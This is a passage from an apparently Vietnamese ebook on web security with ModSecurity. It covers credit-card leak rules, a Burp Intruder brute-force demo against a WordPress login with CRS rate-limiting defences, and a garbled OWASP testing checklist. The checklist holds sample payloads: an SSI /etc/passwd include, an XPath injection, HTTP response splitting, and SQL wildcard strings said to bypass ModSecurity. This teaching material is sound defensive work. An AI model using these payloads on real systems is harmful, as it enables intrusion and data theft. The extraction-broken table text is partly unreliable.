tin của thẻ tín dụng (bao gồm: tên chủ thẻ,loại thẻ, số thẻ, thời gian sử dụng…).
HTTP/1.1 500 Internal Server Error
Content-Length: 573
Content-Type: text/html
Cache-control: private
Connection: close
# Visa
SecRule ARGS "@verifyCC (?:^|[^\d])(4\d{3}\-?\d{4}\-?\d{2}\-?\d{2}\-?\d(?:\d{3})??)
(?:[^\d]|$)" \
"phase:2,t:none,sanitiseMatched,log,auditlog,pass,msg:'Visa Credit Card Number
detected in user input',id:'920007',tag:'PCI/10.2',severity:'5'"
# American Express
SecRule ARGS "@verifyCC (?:^|[^\d])(3[47]\d{2}\-?\d{4}\-?\d{2}\-?\d{2}\-?\d{3})(?:
[^\d]|$)" \
"phase:2,t:none,sanitiseMatched,log,auditlog,pass,msg:'American Express Credit
Card Number detected in user input',id:'920009',tag:'PCI/10.2',severity:'5'"
Các rule này sử dụng @verifyCC operator để phân tích mẫu trong dữ liệu trả về phía người
dùng. Các thành phần tiếp theo trong rule sẽ xác định 4 ký tự đầu trong mã thẻ để xách định
loại thẻ tín dụng.
[error] [client 192.168.1.103] ModSecurity: Warning. Pattern match "^(\\\\d{4}\\\\-?)" at
TX:ccdata. [file
"/opt/modsecurity/etc/crs/activated_rules/modsecurity_crs_25_cc_known.conf"] [line "80"]
[id "920010"] [msg "American Express Credit Card Number sent from site to user"]
[data "Start of CC #: 3723***..."][severity "ALERT"][tag "WASCTC/5.2"] [tag "PCI/3.3"]
[hostname "www.banking.com"][uri "/cart/loginexecute.asp"] [unique_id
"T6wAb38AAQEAAEltA7EAAAAB"]
Trường hợp 6: Phát hiện hành vi đăng nhập bruteforce
Tham khảo DANH MỤC LỖ HỔNG BẢO MẬT OWASP 2010: Brute Force Testing
(OWASP-AT-004)
Các thành phần tham khảo:
OWASP ModSecurity Core Rule Set (CRS)
54
EBOOKBKMT.COM
o modsecurity_crs_10_config.conf
o modsecurity_crs_11_brute_force.conf
Trong phần minh họa khai thác bruteforce, tôi sử dụng module Intruder trong phần mềm
Burp Suite. Module này cho phép người dùng tùy biến dữ liệu gói tin HTTP và sau đó thực
hiện gởi nội dung đến server.
Hình 12: Giao diện Burp Suite và nội dung đăng nhập Wordpress CMS
Trong phần đăng nhập như hình trên, tôi chỉ định tham số pwd sẽ là nơi thực hiện chèn các
giá trị password trong quá trình bruteforce.
55
EBOOKBKMT.COM
56
EBOOKBKMT.COM
Hình 14: Trang web thông báo password không chính xác
Do trang quản trị CMS không giới hạn số lần đăng nhập, nên danh sách password gồm 3424
chuỗi sẽ lần lượt thay thế vào biến pwd. Trong trường hợp người dùng sử dụng mật khẩu yếu,
thì việc tài khoản người dùng bị bẻ gãy xác thực là có thể.
Phòng chống:
Tập tin đầu tiên tôi cần cấu hình là modsecurity_crs_10_setup.conf, thực hiện xóa comment
trong rule 900014:
# -- [[ Brute Force Protection ]] ---------------------------------------------------------
#
# If you are using the Brute Force Protection rule set, then uncomment the following
# lines and set the following variables:
# - Protected URLs: resources to protect (e.g. login pages) - set to your login page
# - Burst Time Slice Interval: time interval window to monitor for bursts
# - Request Threshold: request # threshold to trigger a burst
# - Block Period: temporary block timeout
#Thực hiện thay đổi dòng setvar:'tx.brute_force_protected_urls=/login.jsp
57
EBOOKBKMT.COM
#/partner_login.php', bằng đường dẫn trang đăng nhập wordpress.
SecAction \
"id:'900014', \
phase:1, \
t:none, \
setvar:'tx.brute_force_protected_urls=/wp-login.php', \
setvar:'tx.brute_force_burst_time_slice=60', \
setvar:'tx.brute_force_counter_threshold=10', \
setvar:'tx.brute_force_block_timeout=300', \
nolog, \
pass"
Tiếp theo, tôi thực hiện cấu hình tập tin modsecurity_crs_11_brute_force.conf
# Anti-Automation Rule for specific Pages (Brute Force Protection)
# This is a rate-limiting rule set and does not directly correlate whether the
# authentication attempt was successful or not.
# Enforce an existing IP address block and log only 1-time/minute
# We don't want to get flooded by alerts during an attack or scan so
# we are only triggering an alert once/minute. You can adjust how often
# you want to receive status alerts by changing the expirevar setting below.
#
SecRule IP:BRUTE_FORCE_BLOCK "@eq 1" "chain,phase:1,id:'981036',block,msg:'Brute
Force Attack Identified from %{tx.real_ip} (%{tx.brute_force_block_counter} hits since last
alert)',setvar:ip.brute_force_block_counter=+1"
SecRule &IP:BRUTE_FORCE_BLOCK_FLAG "@eq 0"
"setvar:ip.brute_force_block_flag=1,expirevar:ip.brute_force_block_flag=60,setvar:tx.brute_fo
rce_block_counter=%{ip.brute_force_block_counter},setvar:ip.brute_force_block_counter=0"
#
# Block and track # of requests but don't log
SecRule IP:BRUTE_FORCE_BLOCK "@eq 1"
"phase:1,id:'981037',block,nolog,setvar:ip.brute_force_block_counter=+1"
#
# skipAfter Checks
# There are different scenarios where we don't want to do checks -
# 1. If the user has not defined any URLs for Brute Force Protection in the 10 config file
# 2. If the current URL is not listed as a protected URL
# 3. If the current IP address has already been blocked due to high requests
# In these cases, we skip doing the request counts.
#
SecRule &TX:BRUTE_FORCE_PROTECTED_URLS "@eq 0"
"phase:5,id:'981038',t:none,nolog,pass,skipAfter:END_BRUTE_FORCE_PROTECTION_CH
ECKS"
58
EBOOKBKMT.COM
SecRule REQUEST_FILENAME "!@within %{tx.brute_force_protected_urls}"
"phase:5,id:'981039',t:none,nolog,pass,skipAfter:END_BRUTE_FORCE_PROTECTION_CH
ECKS"
SecRule IP:BRUTE_FORCE_BLOCK "@eq 1"
"phase:5,id:'981040',t:none,nolog,pass,skipAfter:END_BRUTE_FORCE_PROTECTION_CH
ECKS"
#
# Check Brute Force Counter
# If the request count is greater than or equal to 50 within 5 mins,
# we then set the burst counter
#
SecRule IP:BRUTE_FORCE_COUNTER "@gt %{tx.brute_force_counter_threshold}"
"phase:5,id:'981042',t:none,nolog,pass,t:none,setvar:ip.brute_force_burst_counter=+1,expirevar
:ip.brute_force_burst_counter=%{tx.brute_force_burst_time_slice},setvar:!
ip.brute_force_counter"
#
# Check Brute Force Burst Counter and set Block
# Check the burst counter - if greater than or equal to 2, then we set the IP
# block variable for 5 mins and issue an alert.
#
SecRule IP:BRUTE_FORCE_BURST_COUNTER "@ge 2"
"phase:5,id:'981043',t:none,log,pass,msg:'Potential Brute Force Attack from %{tx.real_ip} - #
of Request Bursts: %
{ip.brute_force_burst_counter}',setvar:ip.brute_force_block=1,expirevar:ip.brute_force_block=
%{tx.brute_force_block_timeout}"
SecMarker END_BRUTE_FORCE_PROTECTION_CHECKS
Những rule này có tác dụng theo dõi việc đăng nhập tại trong wp-login.php. Nếu cùng thời
điểm có nhiền hơn hai kết nối đăng nhập thì ModSecurity sẽ thực hiện hành động chặn kết nối
tạm thời trong 5 phút, đồng thời các cảnh báo sẽ được tạo ra trong log quản trị.
[www.modsec.com/sid#2268fb0][rid#24f74d8][/wp-login.php][5] Rule 238e100: SecRule
"IP:BRUTE_FORCE_BURST_COUNTER" "@ge 2"
"phase:5,id:981043,t:none,log,pass,msg:'Potential Brute Force Attack from %{tx.real_ip} -
# of Request Bursts: %
{ip.brute_force_burst_counter}',setvar:ip.brute_force_block=1,expirevar:ip.brute_force_block=
%{tx.brute_force_block_timeout}"
59
EBOOKBKMT.COM
Hình 15: Modsecurity thực hiện chặn các truy vấn vượt mức quy định
60
EBOOKBKMT.COM
63
EBOOKBKMT.COM
DANH MỤC CÔNG CỤ HỖ TRỢ KIỂM TRA BẢO MẬT ỨNG DỤNG WEB
DANH MỤC THAM KHẢO KHAI THÁC LỖ HỔNG BẢO MẬT ỨNG DỤNG WEB
67
EBOOKBKMT.COM
mechanism of
the application
AT-003 Testing for Guessab Default username and passwords Brutus, THC
Guessable le user acc check, App name as userid,name of app Hydra, Burp
(Dictionary) ount contacts,another account userid/email, Intruder, Cain &
User Account js Abel
- Guessable source,parameters,comments,username
user account /password generation,password policy
check,source code - harcoded pass
check, Config files check
AT-004 Brute Force Credent Dictionary, Search, Rule-Based (pswd Brutus, THC
Testing - ials Brute f masks) Bruteforce attacks Hydra, Burp
Credentials orcing Intruder, Cain &
Brute forcing Abel, John the
Ripper,
OPHCRACK,
Rainbow Tables
AT-005 Testing for Bypassi Forward Browsing, Param Webscarab
bypassing ng authent Modification,Session ID Predication
authentication ication sch (Session Hijacking), SQL Injection
schema - ema
Bypassing
authentication
schema
AT-006 Testing for Vulnera Understand Secret qns asked?,strength of secret
vulnerable ble remem the password qns,no of qns,no of password reset
remember ber passw reset attempts,whether new password is
password and ord, weak procedure, the emailed to primary emailid check.
pwd reset - pwd reset secret Should not cache the passwords
Vulnerable questions asked (remember me), Passwords stored in
71
EBOOKBKMT.COM
n gitimate user i
s supposed to
have in his wal
let
•Crypto devices
like USB token
s or smart car
ds, equipped w
ith X.509 certif
icates.
•Randomly gen
erated OTPs tr
ansmitted thro
ugh a GSM SM
S messages [S
MSOTP]
AT-010 Testing for Race Co A race condi Make multiple simultaneous request
Race nditions v tion is a flaw t s while
Conditions - ulnerabilit hat produces a observing the outcome for unexpected
Race y n unexpected r behavior, Manual Code Review
Conditions esult when the
vulnerability timing of actio
ns impact othe
r actions. An e
xample
may be seen o
n a multithrea
ded applicatio
n where action
s are being per
73
EBOOKBKMT.COM
formed on the
same data. Rac
e conditions, b
y their
very nature, ar
e difficult to te
st for
Session SM-001 Testing for Bypassi CookieCollec Unencrypted Cookie Webscarab,Bur
Manageme Session ng Session tion,CookieRev Transport,Presence of persistent pProxy,
nt Management Manageme erseEngineerin cookies,Cache-Control Settings, FoundStone
Schema - nt Schema, g,CookieManip SessionID Analysis-SensitiveInfo, Cookie Digger
Bypassing Weak Sess ulation. Randomness, Cryptanalysis, BruteForce
Session ion Token
Management
Schema, Weak
Session Token
SM-002 Testing for Cookies ";secure", Webscarab,Bur
Cookies are set not HTTPOnly - Always set, pProxy,Paros,
attributes - ‘HTTP Onl "; domain=app.mysite.com", TamperIE/Data
Cookies are y’, ‘Secure’ "; path=/myapp/",
set not ‘HTTP , and no ti expires-Future Value => inspect for
Only’, ‘Secure’, me validit sensitive data
and no time y
validity
SM-003 Testing for Session The Webscarab
Session Fixation application
Fixation - doesn’t renew
Session the cookie after
Fixation auth -Session
hijacking
74
EBOOKBKMT.COM
counts (e.g.,
acquiring admi
nistrative privil
eges for the ap
plication), and
to horizontal e
scalation when
it is possible to
access resource
s
granted to a si
milarly configu
red account (e.
g., in an online
banking applic
ation, accessin
g information
related to a dif
ferent
user).
Business BL-001 Testing for Bypassa Bypass the *Understanding the application Automated
logic Business ble busine actual *Creating raw data for designing logic tools fails
testing Logic - ss logic workflow al tests (Workflows, ACLs)
Bypassable required to *Designing the logical tests
business logic complete a *Standard prerequisites
process *Execution of logical tests
76
EBOOKBKMT.COM
DV-003 Testing for DOM XS This Test for the user Automated
DOM based S happens mostly inputs obtained from client‐side JavaSc tools fails
Cross Site due to poor ript objects
Scripting - javascript
DOM XSS coding.
DV-004 Testing for Cross Si Working for 1.Decompile SWFIntruder,
Cross Site te Flashing actionscript 2.0 2.Undefined Variables Flare, Flasm
Flashing - files 3.Unsafe methods
Cross Site 4.Include malicious SWF
Flashing
DV-005 SQL SQL Inje 1.Inband Test Categories OWASP SQLiX
Injection - ction (retrieved data 1.Authentication Forms, SQL Power
SQL Injection in the 2.Search Engine, Injector
webpage) 3.E-Commerce sites sqlbftools
2.Out-of-band sqlmap
(data sent Tests SqlDumper
through email 1.Heuristic Analysis(' , : , --) sqlninja
or other 2.Construct SQL Injection Vectors
means) 3.Analyse Error Messages
3.Inferential
(Analyse the
behaviour of
Dbserver)
DV-006 LDAP LDAP In Ability to Softerra LDAP
Injection - jection • Access unauthorized content Browser
LDAP • Evade Application restrictions
Injection • Gather unauthorized information
• Add or modify Objects inside LDAP
tree structure.
78
EBOOKBKMT.COM
DV-007 ORM ORM Inj Object Black box testing for ORM Injection
Injection - ection Relational vulnerabilities is identical to SQL
ORM Injection Mapping tool. Injection testing
ORM tools
include
Hibernate for
Java,
NHibernate
for .NET,
ActiveRecord
for Ruby on
Rails, EZPDO
for PHP and
many
others.
DV-008 XML XML Inj Check with XML Meta Characters
Injection - ection ', " , <>, <!--/-->, &, <![CDATA[ / ]]>,
XML Injection
DV-009 SSI SSI Inje * Presense of .shtml extension Burp Suit,
Injection - SSI ction * Check for these characters WebScarab, Paros
Injection < ! # = / . " - > and [a-zA-Z0-9]
* include String = <!--#include
virtual="/etc/passwd" -->
DV-010 XPath XPath I Unlike SQL, * Check for XML error enumeration
Injection - njection there are not by supplying a single quote (')
XPath ACLs enforced, * Username: ' or '1' = '1
Injection as our query Password: ' or '1' = '1
can access
every part of
79
EBOOKBKMT.COM
the XML
document
DV-011 IMAP/SMT IMAP/S • Exploitation of vulnerabilities in
P Injection - MTP Inject the IMAP/SMTP protocol
IMAP/SMTP ion • Application restrictions evasion
Injection • Anti-automation process evasion
• Information leaks
• Relay/SPAM
vulnerability languages
DV-015 Incubated Incubat File Upload, Stored XSS , SQL/XPATH XSS-proxy,
vulnerability - ed vulnera Injection, Manage server files via server Paros, Burp,
Incubated bility misconfigs Metasploit
vulnerability
DV-016 Testing for HTTP S Outcome - param=foobar%0d%0aContent-
HTTP plitting, S Cache Length:%200%0d%0a%0d
Splitting/Smu muggling Poisoning/XSS %0aHTTP/1.1%20200%20OK%0d
ggling - HTTP %0aContent-
Splitting, Type:%20text/html%0d
Smuggling %0aContent-Length:%2035%0d
%0a%0d%0a<html>Sorry,
%20System%20Down</html>
Denial of DS-001 Testing for SQL Wil • Starting • '%_[^!_%/%a?F%_D)_(F%)_%([)({}
Service SQL Wildcard dcard with % and %){()}£$&N%_)$*£()$*R"_)][%](%[x])
Testing Attacks - SQL vulnerabili ending with % %a][$*"£$-9]_%'
Wildcard ty will generally • '%64_[^!_%65/%aa?F%64_D)_(F
vulnerability cause longer %64)_%36([)({}%33){()}£$&N%55_)
running $*£()$*R"_)][%55](%66[x])%ba
queries. ][$*"£$-9]_%54' bypasses modsecurity
• Some search • _[r/a)_ _(r/b)_ _(r-d)_
implementatio •
ns may cache %n[^n]y[^j]l[^k]d[^l]h[^z]t[^k]b[^q]t[
search results. ^q][^n]!%
During the •
testing, every %_[aaaaaaaaaaaaaaaaaaaaaaaaaaaa
search query aaaaaaaaaaaaa[! -z]@$!_%
should be
slightly
different to
81
EBOOKBKMT.COM
avoid this.
DS-002 Locking Locking Wrong Attempts
Customer Customer Valid Username enumeration - Login
Accounts - Accounts Page, New User Reg Page, Password
Locking Reset Page
Customer
Accounts
DS-003 Testing for Buffer O if you have Submit large inputs and check how
DoS Buffer verflows received a the server responds
Overflows - response (or a
Buffer lack of) that
Overflows makes you
believe
that the
overflow has
occurred,
attempt to
make another
request to the
server and see
if it still
responds.
DS-004 User User Sp If the
Specified ecified Obj application does not pose an upper limit
Object ect Allocat to the number of items that can be in
Allocation - ion any given moment inside the user
User Specified electronic
Object cart, you can write an automated script
Allocation that keeps adding items to the user cart
until the cart object fills the server
82
EBOOKBKMT.COM
memory.
DS-005 User Input User In if the user can directly or indirectly
as a Loop put as a Lo assign a value that will be
Counter - User op Counte used as a counter in a loop function, this
Input as a r can cause performance problems on the
Loop Counter server.
DS-006 Writing Writing 1. The tester submits an extremely
User Provided User Provi long value to the server in the request,
Data to Disk - ded Data t and the application logs the value
Writing User o Disk directly
Provided Data without having validated that it
to Disk conforms to what was expected.
2. The application may have data
validation to verify the submitted value
being well formed and of proper length,
but
then still log the failed value (for
auditing or error tracking purposes)
into an application log.
DS-007 Failure to Failure • An application locks a file for
Release to Release writing, and then an exception occurs
Resources - Resources but does not explicitly close and unlock
Failure to the file
Release • Memory leaking in languages where
Resources the developer is responsible for memory
management such as C & C++. In the
case where an error causes normal
logic flow to be circumvented, the
allocated memory may not be removed
and
83
EBOOKBKMT.COM
EST
WS-006 Naughty WS Nau Attach a test virus attachment using
SOAP ghty SOAP a non-destructive virus like EICAR, to a
attachments - attachmen SOAP message and post to the target
WS Naughty ts Web
SOAP Service.
attachments
WS-007 Replay WS Rep Capture the Traffic with WebScarab,
Testing - WS lay Testin sniffers/proxy and replay the request Ethreal,
Replay g WireShark,
Testing TCPReplay
Ajax AJ-001 AJAX N.A. * XMLHttpRequest Vulnerabilitie,
Testing Vulnerabilitie SQL Injectio, XSS, DOM based XSS,
s - N.A. JSON/XML/XSLT Injection
* AJAX Bridging - Cross website requests
are sent through this method
* Cross Site Request Forgery (CSRF)
* DOS - Multiple XMLHttpRequests
AJ-002 AJAX AJAX Parse the HTML and JavaScript files Proxy tools,
Testing - AJAX weakness and Firebug
weakness using a proxy to observe traffic. OWASP Sprajax
86
EBOOKBKMT.COM
87